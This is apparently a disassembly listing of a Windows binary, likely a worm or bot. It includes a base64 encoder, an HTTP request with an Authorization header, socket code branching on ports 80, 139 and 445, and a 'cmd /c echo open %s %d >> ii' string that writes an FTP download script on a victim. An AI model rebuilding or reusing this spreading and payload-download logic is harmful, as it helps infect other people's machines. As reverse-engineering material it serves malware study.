		mov	eax, offset loc_4230E7
		call	sub_418290
		sub	esp, 2Ch
		mov	al, [ebp+13h]
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		lea	ecx, [ebp-38h]
		push	edi
		mov	[ebp-20h], edi
		mov	[ebp-38h], al
		call	sub_404667
		push	1
		pop	ebx
		push	dword ptr [ebp+10h]
		mov	[ebp-4], ebx
		call	sub_403FE6
		cmp	[ebp-2Ch], eax
		pop	ecx
		jnb	short loc_404074
		push	edi
		push	eax
		lea	ecx, [ebp-38h]
		call	sub_4045E2


loc_404074:				; CODE XREF: sub_404032+36j
		cmp	[ebp+10h], edi
		mov	[ebp-18h], edi
		jbe	loc_404191
		mov	ebx, [ebp+10h]


loc_404083:				; CODE XREF: sub_404032+156j
		cmp	dword ptr [ebp+10h], 3
		jb	short loc_40408D
		push	3
		jmp	short loc_40409F
; ---------------------------------------------------------------------------


loc_40408D:				; CODE XREF: sub_404032+55j
		cmp	dword ptr [ebp+10h], 2
		jnz	short loc_404097
		push	2
		jmp	short loc_40409F
; ---------------------------------------------------------------------------


loc_404097:				; CODE XREF: sub_404032+5Fj
		cmp	dword ptr [ebp+10h], 1
		jnz	short loc_4040A0
		push	1


loc_40409F:				; CODE XREF: sub_404032+59j
					; sub_404032+63j
		pop	ebx


loc_4040A0:				; CODE XREF: sub_404032+69j
		mov	[ebp-28h], ebx
		mov	[ebp-24h], edi
		fild	qword ptr [ebp-28h]
		push	ecx
		push	ecx		; double
		fmul	dbl_424288
		fstp	[esp+40h+var_40]
		call	sub_417DEB
		pop	ecx
		pop	ecx
		call	sub_417DC4
		cmp	ebx, edi
		mov	[ebp-1Ch], eax
		jbe	short loc_4040DF
		mov	esi, [ebp+0Ch]
		mov	ecx, ebx
		mov	edx, ecx
		lea	edi, [ebp-10h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		xor	edi, edi


loc_4040DF:				; CODE XREF: sub_404032+93j
		mov	cl, [ebp-10h]
		mov	dl, [ebp-10h]
		sar	cl, 2
		and	cl, 3Fh
		and	dl, 3
		mov	[ebp-14h], cl
		mov	cl, [ebp-0Fh]
		sar	cl, 4
		and	cl, 0Fh
		add	[ebp+0Ch], ebx
		shl	dl, 4
		add	cl, dl
		mov	dl, [ebp-0Fh]
		mov	[ebp-13h], cl
		mov	cl, [ebp-0Eh]
		sar	cl, 6
		and	dl, 0Fh
		sub	[ebp+10h], ebx
		and	cl, 3
		xor	esi, esi
		shl	dl, 2
		add	cl, dl
		mov	[ebp-12h], cl
		mov	cl, [ebp-0Eh]
		and	cl, 3Fh
		cmp	eax, edi
		mov	[ebp-11h], cl
		jbe	short loc_40414D
		add	[ebp-18h], eax


loc_404131:				; CODE XREF: sub_404032+119j
		movsx	eax, byte ptr [ebp+esi-14h]
		lea	ecx, [ebp-38h]
		mov	al, byte_42876C[eax]
		push	eax
		push	1
		call	sub_404464
		inc	esi
		cmp	esi, [ebp-1Ch]
		jb	short loc_404131


loc_40414D:				; CODE XREF: sub_404032+FAj
		cmp	dword ptr [ebp-18h], 48h
		jb	short loc_40416B
		push	dword ptr [ebp+14h]
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	ecx, [ebp-38h]
		push	dword ptr [ebp+14h]
		call	sub_4044BD
		mov	[ebp-18h], edi


loc_40416B:				; CODE XREF: sub_404032+11Fj
		push	4
		pop	esi
		cmp	[ebp-1Ch], esi
		jnb	short loc_404185
		sub	esi, [ebp-1Ch]


loc_404176:				; CODE XREF: sub_404032+151j
		push	3Dh
		push	1
		lea	ecx, [ebp-38h]
		call	sub_404464
		dec	esi
		jnz	short loc_404176


loc_404185:				; CODE XREF: sub_404032+13Fj
		cmp	[ebp+10h], edi
		ja	loc_404083
		push	1
		pop	ebx


loc_404191:				; CODE XREF: sub_404032+48j
		mov	esi, [ebp+8]
		mov	al, [ebp-38h]
		push	edi
		mov	ecx, esi
		mov	[esi], al
		call	sub_404667
		push	dword_424280
		lea	eax, [ebp-38h]
		mov	ecx, esi
		push	edi
		push	eax
		call	sub_404514
		mov	[ebp-20h], ebx
		and	byte ptr [ebp-4], 0
		push	ebx
		lea	ecx, [ebp-38h]
		call	sub_404667
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_404032	endp


; =============== S U B	R O U T	I N E =======================================



sub_4041D4	proc near		; CODE XREF: ___:004043CFp
		mov	eax, offset loc_423104
		call	sub_418290
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		push	offset byte_43C80C
		lea	eax, [ebp-1Ch]
		push	dword ptr [ebp+10h]
		xor	ebx, ebx
		mov	[ebp-4], ebx
		push	dword ptr [ebp+0Ch]
		push	eax
		call	sub_404032
		mov	eax, [ebp+1Ch]
		mov	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 1
		lea	esi, [ecx+eax+36h]
		push	esi
		call	sub_417B89
		mov	edi, eax
		add	esp, 14h
		cmp	edi, ebx
		jnz	short loc_40421E
		xor	bl, bl
		jmp	short loc_404262
; ---------------------------------------------------------------------------


loc_40421E:				; CODE XREF: sub_4041D4+44j
		mov	ecx, [ebp-18h]
		mov	eax, offset dword_424290
		cmp	ecx, ebx
		jnz	short loc_40422C
		mov	ecx, eax


loc_40422C:				; CODE XREF: sub_4041D4+54j
		cmp	[ebp+18h], ebx
		jz	short loc_404234
		mov	eax, [ebp+18h]


loc_404234:				; CODE XREF: sub_4041D4+5Bj
		push	ecx
		push	eax
		push	offset aGetHttp1_0Host ; "GET /	HTTP/1.0\r\nHost: %s\r\nAuthorization"...
		push	esi
		push	edi
		call	sub_41782A
		add	esp, 14h
		push	ebx
		push	esi
		push	edi
		push	dword ptr [ebp+8]
		call	dword_43F6B8
		cmp	eax, esi
		jz	short loc_404259
		xor	bl, bl
		jmp	short loc_40425B
; ---------------------------------------------------------------------------


loc_404259:				; CODE XREF: sub_4041D4+7Fj
		mov	bl, 1


loc_40425B:				; CODE XREF: sub_4041D4+83j
		push	edi
		call	sub_417C3B
		pop	ecx


loc_404262:				; CODE XREF: sub_4041D4+48j
		and	byte ptr [ebp-4], 0
		push	1
		lea	ecx, [ebp-1Ch]
		call	sub_404667
		or	dword ptr [ebp-4], 0FFFFFFFFh
		push	1
		lea	ecx, [ebp+14h]
		call	sub_404667
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	al, bl
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_4041D4	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		and	byte ptr [ebp-420h], 0
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp-41Fh]
		push	8Fh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp-420h]
		push	offset sub_428918
		push	eax
		call	sub_417390
		add	esp, 0Ch
		mov	eax, offset byte_42F678
		push	eax
		push	eax
		push	dword_43C83C
		push	dword ptr [ebp+8]
		call	sub_40AEE0
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d >> ii &echo user"...
		lea	eax, [ebp-391h]
		push	400h
		push	eax
		call	sub_41782A
		add	eax, 90h
		push	eax
		lea	eax, [ebp-420h]
		push	eax
		push	164h
		lea	eax, [ebp-8]
		push	offset sub_4287B0
		push	eax
		call	sub_403A90
		xor	esi, esi
		add	esp, 30h
		cmp	[ebp-4], esi
		jnz	short loc_40432B
		xor	eax, eax
		jmp	loc_404457
; ---------------------------------------------------------------------------


loc_40432B:				; CODE XREF: ___:00404322j
		mov	[ebp-0Ch], esi


loc_40432E:				; CODE XREF: ___:0040442Ej
		test	esi, esi
		jnz	loc_404434
		push	6
		push	1
		push	2
		call	near ptr 71AB3C22h
		nop
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_40441C
		xor	eax, eax
		lea	edi, [ebp-1Ah]
		stosd
		push	dword ptr [ebp+0A8h]
		stosd
		stosd
		stosw
		mov	word ptr [ebp-1Ch], 2
		call	dword_43F668
		mov	[ebp-1Ah], ax
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_43F6A8
		mov	[ebp-18h], eax
		lea	eax, [ebp-1Ch]
		push	10h
		push	eax
		push	ebx
		call	dword_43F610
		cmp	eax, 0FFFFFFFFh
		jz	loc_404411
		cmp	dword ptr [ebp+0A8h], 50h
		jnz	short loc_4043D9
		mov	al, [ebp+0C3h]
		sub	esp, 10h
		mov	esi, esp
		mov	[ebp-20h], esp
		push	0
		mov	ecx, esi
		mov	[esi], al
		call	sub_404667
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+0Ch]
		push	eax
		mov	ecx, esi
		call	sub_4046A3
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_4041D4
		add	esp, 1Ch
		jmp	short loc_40440E
; ---------------------------------------------------------------------------


loc_4043D9:				; CODE XREF: ___:00404397j
		cmp	dword ptr [ebp+0A8h], 8Bh
		jnz	short loc_4043F3
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_403F94
		jmp	short loc_40440B
; ---------------------------------------------------------------------------


loc_4043F3:				; CODE XREF: ___:004043E3j
		cmp	dword ptr [ebp+0A8h], 1BDh
		jnz	short loc_404411
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_403EBA


loc_40440B:				; CODE XREF: ___:004043F1j
		add	esp, 0Ch


loc_40440E:				; CODE XREF: ___:004043D7j
		movzx	esi, al


loc_404411:				; CODE XREF: ___:0040438Aj
					; ___:004043FDj
		push	ebx
		call	dword_43F700
		test	esi, esi
		jnz	short loc_404427


loc_40441C:				; CODE XREF: ___:00404347j
		push	3E8h
		nop
		call	near ptr 260086Bh


loc_404427:				; CODE XREF: ___:0040441Aj
		inc	dword ptr [ebp-0Ch]
		cmp	dword ptr [ebp-0Ch], 2
		jl	loc_40432E


loc_404434:				; CODE XREF: ___:00404330j
		lea	ecx, [ebp-8]
		call	sub_4038B5
		test	esi, esi
		jz	short loc_404455
		mov	eax, [ebp+0B0h]
		imul	eax, 3Ch
		inc	dword_42ACB8[eax]
		lea	eax, dword_42ACB8[eax]


loc_404455:				; CODE XREF: ___:0040443Ej
		mov	eax, esi


loc_404457:				; CODE XREF: ___:00404326j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4230C8


loc_40445C:				; CODE XREF: sub_4230C8+3j
					; ___:004230E1j ...
		push	1
		call	sub_404667
		retn
; END OF FUNCTION CHUNK	FOR sub_4230C8

; =============== S U B	R O U T	I N E =======================================



sub_404464	proc near		; CODE XREF: sub_404032+110p
					; sub_404032+14Bp

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, dword_424280
		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_40447E
		call	sub_42298A


loc_40447E:				; CODE XREF: sub_404464+13j
		test	ebx, ebx
		jbe	short loc_4044B5
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_4045E2
		test	al, al
		jz	short loc_4044B5
		movsx	eax, [esp+0Ch+arg_4]
		push	ebx
		push	eax
		mov	eax, [esi+4]
		add	eax, [esi+8]
		push	eax
		call	sub_417330
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0


loc_4044B5:				; CODE XREF: sub_404464+1Cj
					; sub_404464+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_404464	endp


; =============== S U B	R O U T	I N E =======================================



sub_4044BD	proc near		; CODE XREF: sub_404032+131p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, dword_424280
		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_4044D7
		call	sub_42298A


loc_4044D7:				; CODE XREF: sub_4044BD+13j
		test	ebx, ebx
		jbe	short loc_40450C
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_4045E2
		test	al, al
		jz	short loc_40450C
		mov	eax, [esi+8]
		push	ebx
		push	[esp+10h+arg_0]
		add	eax, [esi+4]
		push	eax
		call	sub_417390
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [edi+eax], 0


loc_40450C:				; CODE XREF: sub_4044BD+1Cj
					; sub_4044BD+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_4044BD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404514	proc near		; CODE XREF: sub_404032+17Cp
					; sub_4228A0+15p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		mov	edi, ecx
		cmp	[ebx+8], eax
		jnb	short loc_40452C
		call	sub_422863


loc_40452C:				; CODE XREF: sub_404514+11j
		mov	eax, [ebx+8]
		mov	ecx, [ebp+arg_4]
		mov	esi, eax
		sub	esi, ecx
		cmp	[ebp+arg_8], esi
		jnb	short loc_40453E
		mov	esi, [ebp+arg_8]


loc_40453E:				; CODE XREF: sub_404514+25j
		cmp	edi, ebx
		jnz	short loc_404560
		push	dword_424280
		add	esi, ecx
		mov	ecx, edi
		push	esi
		call	sub_4046D8
		push	[ebp+arg_4]
		mov	ecx, edi
		push	0
		call	sub_4046D8
		jmp	short loc_4045D9
; ---------------------------------------------------------------------------


loc_404560:				; CODE XREF: sub_404514+2Cj
		test	esi, esi
		jbe	short loc_4045A3
		cmp	esi, eax
		jnz	short loc_4045A3
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_404574
		mov	eax, offset dword_424290


loc_404574:				; CODE XREF: sub_404514+59j
		cmp	byte ptr [eax-1], 0FEh
		jnb	short loc_4045A3
		push	1
		mov	ecx, edi
		call	sub_404667
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40458F
		mov	eax, offset dword_424290


loc_40458F:				; CODE XREF: sub_404514+74j
		mov	[edi+4], eax
		mov	ecx, [ebx+8]
		mov	[edi+8], ecx
		mov	ecx, [ebx+0Ch]
		mov	[edi+0Ch], ecx
		inc	byte ptr [eax-1]
		jmp	short loc_4045D9
; ---------------------------------------------------------------------------


loc_4045A3:				; CODE XREF: sub_404514+4Ej
					; sub_404514+52j ...
		push	1
		push	esi
		mov	ecx, edi
		call	sub_4045E2
		test	al, al
		jz	short loc_4045D9
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_4045BD
		mov	eax, offset dword_424290


loc_4045BD:				; CODE XREF: sub_404514+A2j
		mov	ecx, [ebp+arg_4]
		push	esi
		add	eax, ecx
		push	eax
		push	dword ptr [edi+4]
		call	sub_417390
		mov	eax, [edi+4]
		add	esp, 0Ch
		mov	[edi+8], esi
		and	byte ptr [eax+esi], 0


loc_4045D9:				; CODE XREF: sub_404514+4Aj
					; sub_404514+8Dj ...
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_404514	endp


; =============== S U B	R O U T	I N E =======================================



sub_4045E2	proc near		; CODE XREF: sub_404032+3Dp
					; sub_404464+28p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		jbe	short loc_4045F4
		call	sub_42298A


loc_4045F4:				; CODE XREF: sub_4045E2+Bj
		mov	ecx, [esi+4]
		xor	edx, edx
		cmp	ecx, edx
		jz	short loc_40461D
		mov	al, [ecx-1]
		cmp	al, dl
		jz	short loc_40461D
		cmp	al, 0FFh
		jz	short loc_40461D
		cmp	edi, edx
		jnz	short loc_404658
		dec	al
		push	edx
		mov	[ecx-1], al


loc_404612:				; CODE XREF: sub_4045E2+47j
		mov	ecx, esi
		call	sub_404667


loc_404619:				; CODE XREF: sub_4045E2+4Bj
					; sub_4045E2+52j
		xor	al, al
		jmp	short loc_404662
; ---------------------------------------------------------------------------


loc_40461D:				; CODE XREF: sub_4045E2+19j
					; sub_4045E2+20j ...
		cmp	edi, edx
		jnz	short loc_404636
		cmp	[esp+8+arg_4], dl
		jz	short loc_40462B
		push	1
		jmp	short loc_404612
; ---------------------------------------------------------------------------


loc_40462B:				; CODE XREF: sub_4045E2+43j
		cmp	ecx, edx
		jz	short loc_404619
		mov	[esi+8], edx
		mov	[ecx], dl
		jmp	short loc_404619
; ---------------------------------------------------------------------------


loc_404636:				; CODE XREF: sub_4045E2+3Dj
		cmp	[esp+8+arg_4], dl
		jz	short loc_404653
		mov	eax, [esi+0Ch]
		cmp	eax, 1Fh
		ja	short loc_404648
		cmp	eax, edi
		jnb	short loc_404660


loc_404648:				; CODE XREF: sub_4045E2+60j
		push	1
		mov	ecx, esi
		call	sub_404667
		jmp	short loc_404658
; ---------------------------------------------------------------------------


loc_404653:				; CODE XREF: sub_4045E2+58j
		cmp	[esi+0Ch], edi
		jnb	short loc_404660


loc_404658:				; CODE XREF: sub_4045E2+28j
					; sub_4045E2+6Fj
		push	edi
		mov	ecx, esi
		call	sub_40473F


loc_404660:				; CODE XREF: sub_4045E2+64j
					; sub_4045E2+74j
		mov	al, 1


loc_404662:				; CODE XREF: sub_4045E2+39j
		pop	edi
		pop	esi
		retn	8
sub_4045E2	endp


; =============== S U B	R O U T	I N E =======================================



sub_404667	proc near		; CODE XREF: sub_404032+1Fp
					; sub_404032+16Ap ...

arg_0		= byte ptr  4

		cmp	[esp+arg_0], 0
		push	esi
		mov	esi, ecx
		jz	short loc_404693
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_404693
		lea	ecx, [eax-1]
		mov	al, [eax-1]
		test	al, al
		jz	short loc_40468C
		cmp	al, 0FFh
		jz	short loc_40468C
		dec	al
		mov	[ecx], al
		jmp	short loc_404693
; ---------------------------------------------------------------------------


loc_40468C:				; CODE XREF: sub_404667+19j
					; sub_404667+1Dj
		push	ecx
		call	sub_4182AF
		pop	ecx


loc_404693:				; CODE XREF: sub_404667+8j
					; sub_404667+Fj ...
		and	dword ptr [esi+4], 0
		and	dword ptr [esi+8], 0
		and	dword ptr [esi+0Ch], 0
		pop	esi
		retn	4
sub_404667	endp


; =============== S U B	R O U T	I N E =======================================



sub_4046A3	proc near		; CODE XREF: ___:004043C3p
					; sub_4047FC+28p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		push	1
		mov	esi, ecx
		push	edi
		call	sub_4045E2
		test	al, al
		jz	short loc_4046D1
		push	edi
		push	[esp+0Ch+arg_0]
		push	dword ptr [esi+4]
		call	sub_417390
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0


loc_4046D1:				; CODE XREF: sub_4046A3+12j
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
sub_4046A3	endp


; =============== S U B	R O U T	I N E =======================================



sub_4046D8	proc near		; CODE XREF: sub_404514+39p
					; sub_404514+45p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, ecx
		cmp	[edi+8], esi
		jnb	short loc_4046EB
		call	sub_422863


loc_4046EB:				; CODE XREF: sub_4046D8+Cj
		mov	ecx, edi
		call	sub_4047FC
		mov	eax, [edi+8]
		mov	ebx, [esp+0Ch+arg_4]
		sub	eax, esi
		cmp	eax, ebx
		jnb	short loc_404701
		mov	ebx, eax


loc_404701:				; CODE XREF: sub_4046D8+25j
		test	ebx, ebx
		jbe	short loc_404737
		mov	ecx, [edi+4]
		sub	eax, ebx
		add	ecx, esi
		push	eax
		lea	eax, [ecx+ebx]
		push	eax
		push	ecx
		call	sub_4182C0
		mov	esi, [edi+8]
		add	esp, 0Ch
		sub	esi, ebx
		mov	ecx, edi
		push	0
		push	esi
		call	sub_4045E2
		test	al, al
		jz	short loc_404737
		mov	eax, [edi+4]
		mov	[edi+8], esi
		and	byte ptr [esi+eax], 0


loc_404737:				; CODE XREF: sub_4046D8+2Bj
					; sub_4046D8+53j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_4046D8	endp


; =============== S U B	R O U T	I N E =======================================



sub_40473F	proc near		; CODE XREF: sub_4045E2+79p
		mov	eax, offset loc_423110
		call	sub_418290
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		or	edi, 1Fh
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		mov	[ebp-10h], esp
		mov	[ebp-14h], esi
		jbe	short loc_404765
		mov	edi, [ebp+8]


loc_404765:				; CODE XREF: sub_40473F+21j
		and	dword ptr [ebp-4], 0
		lea	eax, [edi+2]
		test	eax, eax
		jge	short loc_404772
		xor	eax, eax


loc_404772:				; CODE XREF: sub_40473F+2Fj
		push	eax
		call	sub_4185F5
		pop	ecx
		mov	[ebp+8], eax
		jmp	short loc_4047A3
; ---------------------------------------------------------------------------


loc_40477E:				; DATA XREF: ___:00424F9Co
		mov	eax, [ebp+8]
		mov	[ebp-18h], eax
		add	eax, 2
		test	eax, eax
		jge	short loc_40478D
		xor	eax, eax


loc_40478D:				; CODE XREF: sub_40473F+4Aj
		push	eax
		call	sub_4185F5
		mov	[ebp+8], eax
		pop	ecx
		mov	eax, offset loc_40479D
		retn
; ---------------------------------------------------------------------------


loc_40479D:				; DATA XREF: sub_40473F+58o
		mov	esi, [ebp-14h]
		mov	edi, [ebp-18h]


loc_4047A3:				; CODE XREF: sub_40473F+3Dj
		mov	eax, [esi+8]
		test	eax, eax
		jbe	short loc_4047C1
		cmp	eax, edi
		jbe	short loc_4047B0
		mov	eax, edi


loc_4047B0:				; CODE XREF: sub_40473F+6Dj
		push	eax
		mov	eax, [ebp+8]
		push	dword ptr [esi+4]
		inc	eax
		push	eax
		call	sub_417390
		add	esp, 0Ch


loc_4047C1:				; CODE XREF: sub_40473F+69j
		mov	ebx, [esi+8]
		push	1
		mov	ecx, esi
		call	sub_404667
		mov	eax, [ebp+8]
		inc	eax
		mov	[esi+4], eax
		and	byte ptr [eax-1], 0
		cmp	ebx, edi
		mov	[esi+0Ch], edi
		ja	short loc_4047E1
		mov	edi, ebx


loc_4047E1:				; CODE XREF: sub_40473F+9Ej
		mov	eax, [esi+4]
		mov	ecx, [ebp-0Ch]
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	4
sub_40473F	endp


; =============== S U B	R O U T	I N E =======================================



sub_4047FC	proc near		; CODE XREF: sub_4046D8+15p
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, [edi+4]
		test	esi, esi
		jz	short loc_404829
		mov	al, [esi-1]
		test	al, al
		jz	short loc_404829
		cmp	al, 0FFh
		jz	short loc_404829
		push	1
		call	sub_404667
		push	esi
		call	sub_417AB0
		pop	ecx
		push	eax
		push	esi
		mov	ecx, edi
		call	sub_4046A3


loc_404829:				; CODE XREF: sub_4047FC+9j
					; sub_4047FC+10j ...
		pop	edi
		pop	esi
		retn
sub_4047FC	endp


; =============== S U B	R O U T	I N E =======================================



sub_40482C	proc near		; DATA XREF: ___:00426008o
		test	byte_48A30C, 1
		jnz	short loc_40483C
		or	byte_48A30C, 1


loc_40483C:				; CODE XREF: sub_40482C+7j
		jmp	$+5
		push	offset nullsub_1
		call	sub_418670
		pop	ecx
		retn
sub_40482C	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40484E	proc near		; DATA XREF: ___:0042600Co
		jmp	$+5
sub_40484E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_404853	proc near
		mov	eax, dword_428BE0
		add	eax, 6
		mov	dword_43C828, eax
		retn
sub_404853	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404861	proc near		; CODE XREF: sub_404861+D0p
					; ___:00404DC0p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_7		= byte ptr  0Fh
arg_C		= word ptr  14h
arg_14		= dword	ptr  1Ch
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= byte ptr  30h
arg_2B		= byte ptr  33h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_28], 0
		push	ebx
		push	esi
		push	edi
		jz	short loc_404875
		or	[ebp+arg_7], 1
		jmp	short loc_404879
; ---------------------------------------------------------------------------


loc_404875:				; CODE XREF: sub_404861+Cj
		and	[ebp+arg_7], 0FEh


loc_404879:				; CODE XREF: sub_404861+12j
		mov	ecx, [ebp+arg_24]
		mov	ebx, [ebp+arg_20]
		movzx	eax, cx
		lea	edx, [ebx+18h]
		cmp	edx, eax
		ja	short loc_40489D
		or	[ebp+arg_7], 2
		and	[ebp+arg_2B], 0
		lea	eax, [ebx+18h]
		mov	[ebp+arg_14], ebx
		mov	[ebp+arg_C], ax
		jmp	short loc_4048AF
; ---------------------------------------------------------------------------


loc_40489D:				; CODE XREF: sub_404861+26j
		add	eax, 0FFFFFFE8h
		and	[ebp+arg_7], 0FDh
		mov	[ebp+arg_C], cx
		mov	[ebp+arg_14], eax
		mov	[ebp+arg_2B], 1


loc_4048AF:				; CODE XREF: sub_404861+3Aj
		movzx	eax, [ebp+arg_C]
		push	eax
		mov	[ebp+var_4], eax
		call	sub_417B89
		test	eax, eax
		pop	ecx
		mov	[ebp+arg_20], eax
		jz	loc_404948
		push	6
		lea	esi, [ebp+arg_4]
		pop	ecx
		mov	edi, eax
		rep movsd
		mov	edi, [ebp+arg_14]
		mov	esi, [ebp+arg_1C]
		push	edi
		add	eax, 18h
		push	esi
		push	eax
		call	sub_417390
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	0
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_20]
		push	[ebp+arg_0]
		call	near ptr 2630000h
		nop
		test	eax, eax
		jz	short loc_40493F
		mov	eax, [ebp+var_4]
		cmp	[ebp+var_8], eax
		jnz	short loc_40493F
		push	[ebp+arg_20]
		call	sub_417C3B
		cmp	[ebp+arg_2B], 0
		pop	ecx
		jz	short loc_40493B
		push	0
		sub	ebx, edi
		push	[ebp+arg_24]
		add	edi, esi
		lea	esi, [ebp+arg_4]
		push	ebx
		push	edi
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
		push	[ebp+arg_0]
		rep movsd
		call	sub_404861
		add	esp, 2Ch
		jmp	short loc_40494A
; ---------------------------------------------------------------------------


loc_40493B:				; CODE XREF: sub_404861+B3j
		mov	al, 1
		jmp	short loc_40494A
; ---------------------------------------------------------------------------


loc_40493F:				; CODE XREF: sub_404861+9Cj
					; sub_404861+A4j
		push	[ebp+arg_20]
		call	sub_417C3B
		pop	ecx


loc_404948:				; CODE XREF: sub_404861+61j
		xor	al, al


loc_40494A:				; CODE XREF: sub_404861+D8j
					; sub_404861+DCj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_404861	endp

; ---------------------------------------------------------------------------
		db  55h	; U
		db  8Bh	; 
		db 0ECh	; 
		db 0B8h	; 
		db 0DCh	; 
		db  60h	; `
		db    0
		db    0
		db 0E8h	; 
		db 0D4h	; 
		db  31h	; 1
		db    1
		db    0
		db  53h	; S
		db  56h	; V
		db  57h	; W
		db  68h	; h
		db  5Ch	; \
		db  8Ch	; 
		db  42h	; B
		db    0
		db 0FFh
		db  75h	; u
		db    8
		db 0E8h	; 
		db  24h	; $
		db  3Eh	; >
		db    1
		db    0
		db  59h	; Y
		db  33h	; 3
		db 0DBh	; 
		db  85h	; 
		db 0C0h	; 
		db  59h	; Y
		db  74h	; t
		db  4Eh	; N
		db 0FFh
		db  75h	; u
		db    8
		db 0BEh	; 
		db    0
		db  20h
		db    0
		db    0
		db  8Dh	; 
		db  85h	; 
		db  24h	; $
		db 0DFh	; 
		db 0FFh
		db 0FFh
		db  68h	; h
		db  28h	; (
		db  86h	; 
		db  42h	; B
		db    0
		db  56h	; V
		db  50h	; P
		db 0E8h	; 
		db  9Ch	; 
		db  2Eh	; .
		db    1
		db    0
		db  6Ah	; j
		db  20h
		db  8Dh	; 
		db  85h	; 
		db  24h	; $
		db 0FFh
		db 0FFh
		db 0FFh
		db  53h	; S
		db  50h	; P
		db 0E8h	; 
		db  93h	; 
		db  29h	; )
		db    1
		db    0
		db  8Dh	; 
		db  85h	; 
		db  24h	; $
		db 0DFh	; 
		db 0FFh
		db 0FFh
		db  83h	; 
		db 0C4h	; 
		db  1Ch
		db  89h	; 
		db  85h	; 
		db  38h	; 8
		db 0FFh
		db 0FFh
		db 0FFh
		db 0B8h	; 
		db  0Ch
		db 0C8h	; 
		db  43h	; C
		db    0
		db  53h	; S
		db  50h	; P
		db  50h	; P
		db  8Dh	; 
		db  85h	; 
		db  24h	; $
		db 0FFh
		db 0FFh
		db 0FFh
